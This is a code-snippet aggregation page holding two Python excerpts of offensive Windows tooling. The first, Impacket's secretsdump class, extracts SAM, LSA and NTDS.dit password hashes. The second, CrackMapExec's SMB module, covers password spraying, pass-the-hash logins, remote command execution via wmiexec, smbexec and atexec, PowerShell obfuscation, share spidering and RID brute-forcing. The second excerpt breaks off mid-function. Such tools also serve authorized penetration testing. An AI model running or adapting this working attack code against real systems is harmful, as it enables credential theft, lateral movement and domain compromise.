Exemplo n.º 1
0
class DumpSecrets:
    def __init__(self,
                 remoteName,
                 username='',
                 password='',
                 domain='',
                 options=None):
        self.__useVSSMethod = options.use_vss
        self.__remoteName = remoteName
        self.__remoteHost = options.target_ip
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = options.aesKey
        self.__smbConnection = None
        self.__remoteOps = None
        self.__SAMHashes = None
        self.__NTDSHashes = None
        self.__LSASecrets = None
        self.__systemHive = options.system
        self.__bootkey = options.bootkey
        self.__securityHive = options.security
        self.__samHive = options.sam
        self.__ntdsFile = options.ntds
        self.__history = options.history
        self.__noLMHash = True
        self.__isRemote = True
        self.__outputFileName = options.outputfile
        self.__doKerberos = options.k
        self.__justDC = options.just_dc
        self.__justDCNTLM = options.just_dc_ntlm
        self.__justUser = options.just_dc_user
        self.__pwdLastSet = options.pwd_last_set
        self.__printUserStatus = options.user_status
        self.__resumeFileName = options.resumefile
        self.__canProcessSAMLSA = True
        self.__kdcHost = options.dc_ip
        self.__options = options

        if options.hashes is not None:
            self.__lmhash, self.__nthash = options.hashes.split(':')

    def connect(self):
        self.__smbConnection = SMBConnection(self.__remoteName,
                                             self.__remoteHost)
        if self.__doKerberos:
            self.__smbConnection.kerberosLogin(self.__username,
                                               self.__password, self.__domain,
                                               self.__lmhash, self.__nthash,
                                               self.__aesKey, self.__kdcHost)
        else:
            self.__smbConnection.login(self.__username, self.__password,
                                       self.__domain, self.__lmhash,
                                       self.__nthash)

    def dump(self):
        try:
            if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
                self.__isRemote = False
                self.__useVSSMethod = True
                if self.__systemHive:
                    localOperations = LocalOperations(self.__systemHive)
                    bootKey = localOperations.getBootKey()
                    if self.__ntdsFile is not None:
                        # Let's grab target's configuration about LM Hashes storage
                        self.__noLMHash = localOperations.checkNoLMHashPolicy()
                else:
                    import binascii
                    bootKey = binascii.unhexlify(self.__bootkey)

            else:
                self.__isRemote = True
                bootKey = None
                try:
                    try:
                        self.connect()
                    except Exception as e:
                        if os.getenv(
                                'KRB5CCNAME'
                        ) is not None and self.__doKerberos is True:
                            # SMBConnection failed. That might be because there was no way to log into the
                            # target system. We just have a last resort. Hope we have tickets cached and that they
                            # will work
                            logging.debug(
                                'SMBConnection didn\'t work, hoping Kerberos will help (%s)'
                                % str(e))
                            pass
                        else:
                            raise

                    self.__remoteOps = RemoteOperations(
                        self.__smbConnection, self.__doKerberos,
                        self.__kdcHost)
                    self.__remoteOps.setExecMethod(self.__options.exec_method)
                    if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
                        self.__remoteOps.enableRegistry()
                        bootKey = self.__remoteOps.getBootKey()
                        # Let's check whether target system stores LM Hashes
                        self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy(
                        )
                except Exception as e:
                    self.__canProcessSAMLSA = False
                    if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
                        and self.__doKerberos is True:
                        # Giving some hints here when SPN target name validation is set to something different to Off
                        # This will prevent establishing SMB connections using TGS for SPNs different to cifs/
                        logging.error(
                            'Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user'
                        )
                    else:
                        logging.error('RemoteOperations failed: %s' % str(e))

            # If RemoteOperations succeeded, then we can extract SAM and LSA
            if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
                try:
                    if self.__isRemote is True:
                        SAMFileName = self.__remoteOps.saveSAM()
                    else:
                        SAMFileName = self.__samHive

                    self.__SAMHashes = SAMHashes(SAMFileName,
                                                 bootKey,
                                                 isRemote=self.__isRemote)
                    self.__SAMHashes.dump()
                    if self.__outputFileName is not None:
                        self.__SAMHashes.export(self.__outputFileName)
                except Exception as e:
                    logging.error('SAM hashes extraction failed: %s' % str(e))

                try:
                    if self.__isRemote is True:
                        SECURITYFileName = self.__remoteOps.saveSECURITY()
                    else:
                        SECURITYFileName = self.__securityHive

                    self.__LSASecrets = LSASecrets(SECURITYFileName,
                                                   bootKey,
                                                   self.__remoteOps,
                                                   isRemote=self.__isRemote,
                                                   history=self.__history)
                    self.__LSASecrets.dumpCachedHashes()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportCached(self.__outputFileName)
                    self.__LSASecrets.dumpSecrets()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportSecrets(self.__outputFileName)
                except Exception as e:
                    if logging.getLogger().level == logging.DEBUG:
                        import traceback
                        traceback.print_exc()
                    logging.error('LSA hashes extraction failed: %s' % str(e))

            # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
            if self.__isRemote is True:
                if self.__useVSSMethod and self.__remoteOps is not None:
                    NTDSFileName = self.__remoteOps.saveNTDS()
                else:
                    NTDSFileName = None
            else:
                NTDSFileName = self.__ntdsFile

            self.__NTDSHashes = NTDSHashes(
                NTDSFileName,
                bootKey,
                isRemote=self.__isRemote,
                history=self.__history,
                noLMHash=self.__noLMHash,
                remoteOps=self.__remoteOps,
                useVSSMethod=self.__useVSSMethod,
                justNTLM=self.__justDCNTLM,
                pwdLastSet=self.__pwdLastSet,
                resumeSession=self.__resumeFileName,
                outputFileName=self.__outputFileName,
                justUser=self.__justUser,
                printUserStatus=self.__printUserStatus)
            try:
                self.__NTDSHashes.dump()
            except Exception as e:
                if logging.getLogger().level == logging.DEBUG:
                    import traceback
                    traceback.print_exc()
                if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
                    # We don't store the resume file if this error happened, since this error is related to lack
                    # of enough privileges to access DRSUAPI.
                    resumeFile = self.__NTDSHashes.getResumeSessionFile()
                    if resumeFile is not None:
                        os.unlink(resumeFile)
                logging.error(e)
                if self.__justUser and str(e).find(
                        "ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0:
                    logging.info(
                        "You just got that error because there might be some duplicates of the same name. "
                        "Try specifying the domain name for the user as well. It is important to specify it "
                        "in the form of NetBIOS domain name/user (e.g. contoso/Administratror)."
                    )
                elif self.__useVSSMethod is False:
                    logging.info(
                        'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter'
                    )
            self.cleanup()
        except (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(e)
            if self.__NTDSHashes is not None:
                if isinstance(e, KeyboardInterrupt):
                    while True:
                        answer = input("Delete resume session file? [y/N] ")
                        if answer.upper() == '':
                            answer = 'N'
                            break
                        elif answer.upper() == 'Y':
                            answer = 'Y'
                            break
                        elif answer.upper() == 'N':
                            answer = 'N'
                            break
                    if answer == 'Y':
                        resumeFile = self.__NTDSHashes.getResumeSessionFile()
                        if resumeFile is not None:
                            os.unlink(resumeFile)
            try:
                self.cleanup()
            except:
                pass

    def cleanup(self):
        logging.info('Cleaning up... ')
        if self.__remoteOps:
            self.__remoteOps.finish()
        if self.__SAMHashes:
            self.__SAMHashes.finish()
        if self.__LSASecrets:
            self.__LSASecrets.finish()
        if self.__NTDSHashes:
            self.__NTDSHashes.finish()
Exemplo n.º 2
0
class smb(connection):

    def __init__(self, args, db, host):
        self.domain = None
        self.server_os = None
        self.os_arch = 0
        self.hash = None
        self.lmhash = ''
        self.nthash = ''
        self.remote_ops = None
        self.bootkey = None
        self.output_filename = None
        self.smbv1 = None
        self.signing = False
        self.smb_share_name = smb_share_name

        connection.__init__(self, args, db, host)

    @staticmethod
    def proto_args(parser, std_parser, module_parser):
        smb_parser = parser.add_parser('smb', help="own stuff using SMB", parents=[std_parser, module_parser])
        smb_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes')
        smb_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2')
        dgroup = smb_parser.add_mutually_exclusive_group()
        dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="domain to authenticate to")
        dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target')
        smb_parser.add_argument("--port", type=int, choices={445, 139}, default=445, help="SMB port (default: 445)")
        smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share (default: C$)")
        smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int)
        smb_parser.add_argument("--gen-relay-list", metavar='OUTPUT_FILE', help="outputs all hosts that don't require SMB signing to the specified file")
        smb_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes")
        
        cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
        cegroup = cgroup.add_mutually_exclusive_group()
        cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems')
        cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems')
        cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, nargs='?', const='drsuapi', help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
        #cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
        #cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')

        egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
        egroup.add_argument("--shares", action="store_true", help="enumerate shares and access")
        egroup.add_argument("--sessions", action='store_true', help='enumerate active sessions')
        egroup.add_argument('--disks', action='store_true', help='enumerate disks')
        egroup.add_argument("--loggedon-users", action='store_true', help='enumerate logged on users')
        egroup.add_argument('--users', nargs='?', const='', metavar='USER', help='enumerate domain users, if a user is specified than only its information is queried.')
        egroup.add_argument("--groups", nargs='?', const='', metavar='GROUP', help='enumerate domain groups, if a group is specified than its members are enumerated')
        egroup.add_argument("--local-groups", nargs='?', const='', metavar='GROUP', help='enumerate local groups, if a group is specified than its members are enumerated')
        egroup.add_argument("--pass-pol", action='store_true', help='dump password policy')
        egroup.add_argument("--rid-brute", nargs='?', type=int, const=4000, metavar='MAX_RID', help='enumerate users by bruteforcing RID\'s (default: 4000)')
        egroup.add_argument("--wmi", metavar='QUERY', type=str, help='issues the specified WMI query')
        egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='root\\cimv2', help='WMI Namespace (default: root\\cimv2)')

        sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
        sgroup.add_argument("--spider", metavar='SHARE', type=str, help='share to spider')
        sgroup.add_argument("--spider-folder", metavar='FOLDER', default='.', type=str, help='folder to spider (default: root share directory)')
        sgroup.add_argument("--content", action='store_true', help='enable file content searching')
        sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', help='directories to exclude from spidering')
        segroup = sgroup.add_mutually_exclusive_group()
        segroup.add_argument("--pattern", nargs='+', help='pattern(s) to search for in folders, filenames and file content')
        segroup.add_argument("--regex", nargs='+', help='regex(s) to search for in folders, filenames and file content')
        sgroup.add_argument("--depth", type=int, default=None, help='max spider recursion depth (default: infinity & beyond)')
        sgroup.add_argument("--only-files", action='store_true', help='only spider files')

        tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files")
        tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help='Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt')
        tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help='Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt')

        cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
        cgroup.add_argument('--exec-method', choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None, help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
        cgroup.add_argument('--force-ps32', action='store_true', help='force the PowerShell command to run in a 32-bit process')
        cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output')
        cegroup = cgroup.add_mutually_exclusive_group()
        cegroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command")
        cegroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command')

        psgroup = smb_parser.add_argument_group('Powershell Obfuscation', "Options for PowerShell script obfuscation")
        psgroup.add_argument('--obfs', action='store_true', help='Obfuscate PowerShell scripts')
        psgroup.add_argument('--clear-obfscripts', action='store_true', help='Clear all cached obfuscated PowerShell scripts')

        return parser

    def proto_logger(self):
        self.logger = CMEAdapter(extra={
                                        'protocol': 'SMB',
                                        'host': self.host,
                                        'port': self.args.port,
                                        'hostname': self.hostname
                                        })

    def get_os_arch(self):
        try:
            stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host)
            transport = DCERPCTransportFactory(stringBinding)
            transport.set_connect_timeout(5)
            dce = transport.get_dce_rpc()
            if self.args.kerberos:
                dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
            dce.connect()
            try:
                dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0'))
            except (DCERPCException, e):
                if str(e).find('syntaxes_not_supported') >= 0:
                    dce.disconnect()
                    return 32
            else:
                dce.disconnect()
                return 64

        except Exception as e:
            logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e)))

        return 0

    def enum_host_info(self):
        self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]

        try:
            self.conn.login('' , '')
        except:
            #if "STATUS_ACCESS_DENIED" in e:
            pass

        self.domain    = self.conn.getServerDNSDomainName()
        self.hostname  = self.conn.getServerName()
        self.server_os = self.conn.getServerOS()
        self.signing   = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning']
        self.os_arch   = self.get_os_arch()

        self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")))

        if not self.domain:
            self.domain = self.hostname

        self.db.add_computer(self.host, self.hostname, self.domain, self.server_os)

        try:
            '''
                DC's seem to want us to logoff first, windows workstations sometimes reset the connection
                (go home Windows, you're drunk)
            '''
            self.conn.logoff()
        except:
            pass

        if self.args.domain:
            self.domain = self.args.domain
        
        if self.args.local_auth:
            self.domain = self.hostname

        #Re-connect since we logged off
        self.create_conn_obj()

    def print_host_info(self):
        self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os,
                                                                                      ' x{}'.format(self.os_arch) if self.os_arch else '',
                                                                                      self.hostname,
                                                                                      self.domain,
                                                                                      self.signing,
                                                                                      self.smbv1))
    def kerberos_login(self, aesKey, kdcHost):
        # dirty code to check if user is admin but pywerview does not support kerberos auth ...
        error = ''
        try:
            self.conn.kerberosLogin('', '', self.domain, self.lmhash, self.nthash, aesKey, kdcHost)
            # self.check_if_admin() # currently pywerview does not support kerberos auth
        except SessionError as e:
            error = e
        try:
            self.conn.connectTree("C$")
            self.admin_privs = True
        except SessionError as e:
            pass
        if not error:
            out = u'{}\\{} {}'.format(self.domain,
                                    self.conn.getCredentials()[0],
                                    highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))
            self.logger.success(out)
            return True
        else:
            self.logger.error(u'{} {} {}'.format(self.domain, 
                                                 error, 
                                                 '({})'.format(desc) if self.args.verbose else ''))
            return False

        # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
        if self.signing:
            try:
                self.conn.logoff()
            except:
                pass
            self.create_conn_obj()

    def plaintext_login(self, domain, username, password):
        try:
            self.password = password
            self.username = username
            self.domain = domain
            self.conn.login(username, password, domain)

            self.check_if_admin()
            self.db.add_credential('plaintext', domain, username, password)

            if self.admin_privs:
                self.db.add_admin_user('plaintext', domain, username, password, self.host)

            out = u'{}\\{}:{} {}'.format(domain,
                                         username,
                                         password,
                                         highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))

            self.logger.success(out)
            if not self.args.continue_on_success:
                return True
            elif self.signing: # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
                try:
                    self.conn.logoff()
                except:
                    pass
                self.create_conn_obj()

        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error(u'{}\\{}:{} {} {}'.format(domain,
                                                        username,
                                                        password,
                                                        error,
                                                        '({})'.format(desc) if self.args.verbose else ''),
                                                        color='magenta' if error in smb_error_status else 'red')          
            if error not in smb_error_status: 
                self.inc_failed_login(username)
                return False
            if not self.args.continue_on_success:
                return True  

    def hash_login(self, domain, username, ntlm_hash):
        lmhash = ''
        nthash = ''

        #This checks to see if we didn't provide the LM Hash
        if ntlm_hash.find(':') != -1:
            lmhash, nthash = ntlm_hash.split(':')
        else:
            nthash = ntlm_hash

        try:
            self.hash = ntlm_hash
            if lmhash: self.lmhash = lmhash
            if nthash: self.nthash = nthash

            self.username = username
            self.domain = domain
            self.conn.login(username, '', domain, lmhash, nthash)

            self.check_if_admin()
            self.db.add_credential('hash', domain, username, ntlm_hash)

            if self.admin_privs:
                self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host)

            out = u'{}\\{} {} {}'.format(domain,
                                         username,
                                         ntlm_hash,
                                         highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))

            self.logger.success(out)
            if not self.args.continue_on_success:
                return True
            # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
            if self.signing:
                try:
                    self.conn.logoff()
                except:
                    pass
                self.create_conn_obj()
        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error(u'{}\\{}:{} {} {}'.format(domain,
                                                        username,
                                                        ntlm_hash,
                                                        error,
                                                        '({})'.format(desc) if self.args.verbose else ''),
                                                        color='magenta' if error in smb_error_status else 'red')

            if error not in smb_error_status: 
                self.inc_failed_login(username)
                return False
            if not self.args.continue_on_success:
                return True 

    def create_smbv1_conn(self):
        try:
            self.conn = SMBConnection(self.host, self.host, None, self.args.port, preferredDialect=SMB_DIALECT)
            self.smbv1 = True
        except socket.error as e:
            if str(e).find('Connection reset by peer') != -1:
                logging.debug('SMBv1 might be disabled on {}'.format(self.host))
            return False
        except Exception as e:
            logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e))
            return False

        return True

    def create_smbv3_conn(self):
        try:
            self.conn = SMBConnection(self.host, self.host, None, self.args.port)
            self.smbv1 = False
        except socket.error:
            return False
        except Exception as e:
            logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e))
            return False

        return True

    def create_conn_obj(self):
        if self.create_smbv1_conn():
            return True
        elif self.create_smbv3_conn():
            return True

        return False

    def check_if_admin(self):
        lmhash = ''
        nthash = ''

        if self.hash:
            if self.hash.find(':') != -1:
                lmhash, nthash = self.hash.split(':')
            else:
                nthash = self.hash
        self.admin_privs = invoke_checklocaladminaccess(self.host, self.domain, self.username, self.password, lmhash, nthash)

    def gen_relay_list(self):
        if self.server_os.lower().find('windows') != -1 and self.signing is False:
            with sem:
                with open(self.args.gen_relay_list, 'a+') as relay_list:
                    if self.host not in relay_list.read():
                        relay_list.write(self.host + '\n')

    @requires_admin
    @requires_smb_server
    def execute(self, payload=None, get_output=False, methods=None):

        if self.args.exec_method: methods = [self.args.exec_method]
        if not methods : methods = ['wmiexec', 'mmcexec', 'atexec', 'smbexec']

        if not payload and self.args.execute:
            payload = self.args.execute
            if not self.args.no_output: get_output = True

        for method in methods:

            if method == 'wmiexec':
                try:
                    exec_method = WMIEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share)
                    logging.debug('Executed command via wmiexec')
                    break
                except:
                    logging.debug('Error executing command via wmiexec, traceback:')
                    logging.debug(format_exc())
                    continue

            elif method == 'mmcexec':
                try:
                    exec_method = MMCEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.hash)
                    logging.debug('Executed command via mmcexec')
                    break
                except:
                    logging.debug('Error executing command via mmcexec, traceback:')
                    logging.debug(format_exc())
                    continue

            elif method == 'atexec':
                try:
                    exec_method = TSCH_EXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash) #self.args.share)
                    logging.debug('Executed command via atexec')
                    break
                except:
                    logging.debug('Error executing command via atexec, traceback:')
                    logging.debug(format_exc())
                    continue

            elif method == 'smbexec':
                try:
                    exec_method = SMBEXEC(self.host, self.smb_share_name, self.args.port, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share)
                    logging.debug('Executed command via smbexec')
                    break
                except:
                    logging.debug('Error executing command via smbexec, traceback:')
                    logging.debug(format_exc())
                    continue

        if hasattr(self, 'server'): self.server.track_host(self.host)

        output = u'{}'.format(exec_method.execute(payload, get_output).strip())

        if self.args.execute or self.args.ps_execute:
            self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else ''))
            buf = StringIO(output).readlines()
            for line in buf:
                self.logger.highlight(line.strip())

        return output

    @requires_admin
    def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=False):
        if not payload and self.args.ps_execute:
            payload = self.args.ps_execute
            if not self.args.no_output: get_output = True

        if os.path.isfile(payload):
            with open(payload) as commands:
                for c in commands:
                    self.execute(create_ps_command(c, force_ps32=force_ps32, dont_obfs=dont_obfs), get_output, methods)
        else:
            self.execute(create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs), get_output, methods)
        return ''

    def shares(self):
        temp_dir = ntpath.normpath("\\" + gen_random_string())
        #hostid,_,_,_,_,_,_ = self.db.get_hosts(filterTerm=self.host)[0]
        permissions = []

        try:
            for share in self.conn.listShares():
                share_name = share['shi1_netname'][:-1]
                share_remark = share['shi1_remark'][:-1]
                share_info = {'name': share_name, 'remark': share_remark, 'access': []}
                read = False
                write = False

                try:
                    self.conn.listPath(share_name, '*')
                    read = True
                    share_info['access'].append('READ')
                except SessionError:
                    pass

                try:
                    self.conn.createDirectory(share_name, temp_dir)
                    self.conn.deleteDirectory(share_name, temp_dir)
                    write = True
                    share_info['access'].append('WRITE')
                except SessionError:
                    pass

                permissions.append(share_info)
                #self.db.add_share(hostid, share_name, share_remark, read, write)

            self.logger.success('Enumerated shares')
            self.logger.highlight('{:<15} {:<15} {}'.format('Share', 'Permissions', 'Remark'))
            self.logger.highlight('{:<15} {:<15} {}'.format('-----', '-----------', '------'))
            for share in permissions:
                name   = share['name']
                remark = share['remark']
                perms  = share['access']

                self.logger.highlight(u'{:<15} {:<15} {}'.format(name, ','.join(perms), remark))

        except Exception as e:
            error, desc = e.getErrorString()
            self.logger.error('Error enumerating shares: {}'.format(error),
                            color='magenta' if error in smb_error_status else 'red')

        return permissions

    def get_dc_ips(self):
        dc_ips = []

        for dc in self.db.get_domain_controllers(domain=self.domain):
            dc_ips.append(dc[1])

        if not dc_ips:
            dc_ips.append(self.host)

        return dc_ips

    def sessions(self):
        sessions = get_netsession(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
        self.logger.success('Enumerated sessions')
        for session in sessions:
            if session.sesi10_cname.find(self.local_ip) == -1:
                self.logger.highlight('{:<25} User:{}'.format(session.sesi10_cname, session.sesi10_username))

        return sessions

    def disks(self):
        disks = []
        try:
            disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
            self.logger.success('Enumerated disks')
            for disk in disks:
                self.logger.highlight(disk.disk)
        except Exception as e:
            error, desc = e.getErrorString()
            self.logger.error('Error enumerating disks: {}'.format(error),
                            color='magenta' if error in smb_error_status else 'red')

        return disks

    def local_groups(self):
        groups = []
        #To enumerate local groups the DC IP is optional, if specified it will resolve the SIDs and names of any domain accounts in the local group
        for dc_ip in self.get_dc_ips():
            try:
                groups = get_netlocalgroup(self.host, dc_ip, '', self.username,
                                           self.password, self.lmhash, self.nthash, queried_groupname=self.args.local_groups,
                                           list_groups=True if not self.args.local_groups else False, recurse=False)

                if self.args.local_groups:
                    self.logger.success('Enumerated members of local group')
                else:
                    self.logger.success('Enumerated local groups')

                for group in groups:
                    if group.name:
                        if not self.args.local_groups:
                            self.logger.highlight('{:<40} membercount: {}'.format(group.name, group.membercount))
                            self.db.add_group(self.hostname, group.name)
                        else:
                            domain, name = group.name.split('/')
                            self.logger.highlight('{}\\{}'.format(domain.upper(), name))
                            try:
                                group_id = self.db.get_groups(groupName=self.args.local_groups, groupDomain=domain)[0][0]
                            except IndexError:
                                group_id = self.db.add_group(domain, self.args.local_groups)

                            # yo dawg, I hear you like groups. So I put a domain group as a member of a local group which is also a member of another local group.
                            # (╯°□°)╯︵ ┻━┻

                            if not group.isgroup:
                                self.db.add_user(domain, name, group_id)
                            elif group.isgroup:
                                self.db.add_group(domain, name)
                break
            except Exception as e:
                self.logger.error('Error enumerating local groups of {}: {}'.format(self.host, e))

        return groups

    def domainfromdsn(self, dsn):
        dsnparts = dsn.split(',')
        domain = ""
        for part in dsnparts:
            k,v = part.split("=")
            if k == "DC":
                if domain=="":
                    domain = v
                else:
                    domain = domain+"."+v
        return domain

    def groups(self):
        groups = []
        for dc_ip in self.get_dc_ips():
            if self.args.groups:
                try:
                    groups = get_netgroupmember(dc_ip, '', self.username, password=self.password,
                                                lmhash=self.lmhash, nthash=self.nthash, queried_groupname=self.args.groups, queried_sid=str(),
                                                queried_domain=str(), ads_path=str(), recurse=False, use_matching_rule=False,
                                                full_data=False, custom_filter=str())

                    self.logger.success('Enumerated members of domain group')
                    for group in groups:
                        self.logger.highlight('{}\\{}'.format(group.memberdomain, group.membername))

                        try:
                            group_id = self.db.get_groups(groupName=self.args.groups, groupDomain=group.groupdomain)[0][0]
                        except IndexError:
                            group_id = self.db.add_group(group.groupdomain, self.args.groups)

                        if not group.isgroup:
                            self.db.add_user(group.memberdomain, group.membername, group_id)
                        elif group.isgroup:
                            self.db.add_group(group.groupdomain, group.groupname)
                    break
                except Exception as e:
                    self.logger.error('Error enumerating domain group members using dc ip {}: {}'.format(dc_ip, e))
            else:
                try:
                    groups = get_netgroup(dc_ip, '', self.username, password=self.password,
                                          lmhash=self.lmhash, nthash=self.nthash, queried_groupname=str(), queried_sid=str(),
                                          queried_username=str(), queried_domain=str(), ads_path=str(),
                                          admin_count=False, full_data=True, custom_filter=str())

                    self.logger.success('Enumerated domain group(s)')
                    for group in groups:
                        self.logger.highlight('{:<40} membercount: {}'.format(group.samaccountname, len(group.member) if hasattr(group, 'member') else 0))

                        if bool(group.isgroup) is True:
                            # Since there isn't a groupmemeber attribute on the returned object from get_netgroup we grab it from the distinguished name
                            domain = self.domainfromdsn(group.distinguishedname)
                            self.db.add_group(domain, group.samaccountname)
                    break
                except Exception as e:
                    self.logger.error('Error enumerating domain group using dc ip {}: {}'.format(dc_ip, e))

        return groups

    def users(self):
        users = []
        for dc_ip in self.get_dc_ips():
            try:
                users = get_netuser(dc_ip, '', self.username, password=self.password, lmhash=self.lmhash,
                                    nthash=self.nthash, queried_username=self.args.users, queried_domain='', ads_path=str(),
                                    admin_count=False, spn=False, unconstrained=False, allow_delegation=False,
                                    custom_filter=str())

                self.logger.success('Enumerated domain user(s)')
                for user in users:
                    domain = self.domainfromdsn(user.distinguishedname)
                    self.logger.highlight('{}\\{:<30} badpwdcount: {} baddpwdtime: {}'.format(domain,user.samaccountname,getattr(user,'badpwdcount',0),getattr(user, 'badpasswordtime','')))
                    self.db.add_user(domain, user.samaccountname)

                break
            except Exception as e:
                logging.debug('Error enumerating domain users using dc ip {}: {}'.format(dc_ip, e))

        return users

    def loggedon_users(self):
        loggedon = []
        try:
            loggedon = get_netloggedon(self.host, self.domain, self.username, self.password, lmhash=self.lmhash, nthash=self.nthash)
            self.logger.success('Enumerated loggedon users')
            for user in loggedon:
                self.logger.highlight('{}\\{:<25} {}'.format(user.wkui1_logon_domain, user.wkui1_username,
                                                           'logon_server: {}'.format(user.wkui1_logon_server) if user.wkui1_logon_server else ''))
        except Exception as e:
            self.logger.error('Error enumerating logged on users: {}'.format(e))

        return loggedon

    def pass_pol(self):
        return PassPolDump(self).dump()

    @requires_admin
    def wmi(self, wmi_query=None, namespace=None):
        records = []
        if not namespace:
            namespace = self.args.wmi_namespace

        try:
            rpc = RPCRequester(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
            rpc._create_wmi_connection(namespace=namespace)

            if wmi_query:
                query = rpc._wmi_connection.ExecQuery(wmi_query, lFlags=WBEM_FLAG_FORWARD_ONLY)
            else:
                query = rpc._wmi_connection.ExecQuery(self.args.wmi, lFlags=WBEM_FLAG_FORWARD_ONLY)
        except Exception as e:
            self.logger.error('Error creating WMI connection: {}'.format(e))
            return records

        while True:
            try:
                wmi_results = query.Next(0xffffffff, 1)[0]
                record = wmi_results.getProperties()
                records.append(record)
                for k,v in record.items():
                    self.logger.highlight('{} => {}'.format(k,v['value']))
                self.logger.highlight('')
            except Exception as e:
                if str(e).find('S_FALSE') < 0:
                    raise e
                else:
                    break

        return records

    def spider(self, share=None, folder='.', pattern=[], regex=[], exclude_dirs=[], depth=None, content=False, onlyfiles=True):
        spider = SMBSpider(self.conn, self.logger)

        self.logger.info('Started spidering')
        start_time = time()
        if not share:
            spider.spider(self.args.spider, self.args.spider_folder, self.args.pattern,
                          self.args.regex, self.args.exclude_dirs, self.args.depth,
                          self.args.content, self.args.only_files)
        else:
            spider.spider(share, folder, pattern, regex, exclude_dirs, depth, content, onlyfiles)

        self.logger.info("Done spidering (Completed in {})".format(time() - start_time))

        return spider.results

    def rid_brute(self, maxRid=None):
        entries = []
        if not maxRid:
            maxRid = int(self.args.rid_brute)

        KNOWN_PROTOCOLS = {
            135: {'bindstr': r'ncacn_ip_tcp:%s',           'set_host': False},
            139: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True},
